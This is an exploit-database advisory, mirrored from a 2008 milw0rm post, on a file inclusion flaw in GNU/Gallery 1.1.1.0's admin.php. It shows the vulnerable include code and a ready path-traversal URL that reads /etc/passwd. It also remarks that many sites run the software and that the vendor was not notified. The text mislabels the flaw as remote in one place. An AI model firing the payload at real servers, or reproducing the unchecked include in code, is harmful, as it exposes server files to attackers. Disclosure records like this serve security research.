GNU/Gallery - exploit.company

vendor:

Gallery

by:

t0pP8uZz

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: Gallery

Affected Version From: 1.1.1.0

Affected Version To: 1.1.1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:gnu:gallery

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

GNU/Gallery <= 1.1.1.0 (admin.php) Local File Inclusion Vulnerability

GNU/Gallery suffers from a remote file inclusion vulnerability in the "admin.php" file. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. This can allow the attacker to include arbitrary files from the server, such as the /etc/passwd file.

Mitigation:

The vendor should be notified and a patch should be released to address this vulnerability.

Source

Exploit-DB raw data:

--==+================================================================================+==--
--==+	   GNU/Gallery <= 1.1.1.0 (admin.php) Local File Inclusion Vulnerability     +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 17 MAY 2008
Script Download: http://gnugallery.sourceforge.net/
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

GNU/Gallery suffers from a remote file inclusion vulnerability in the "admin.php" file.



Vulnerable Code:

<?php
if($_GET['show']=="") {
  include("admin/index.php");
} else {
  include("admin/".$_GET['show']);
}
?>



Vulnerability:

http://site.com/admin.php?show=../../../../../../../etc/passwd



NOTE/TIP: 

fair amount of sites running, althou no good dork.



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+	   GNU/Gallery <= 1.1.1.0 (admin.php) Local File Inclusion Vulnerability     +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-18]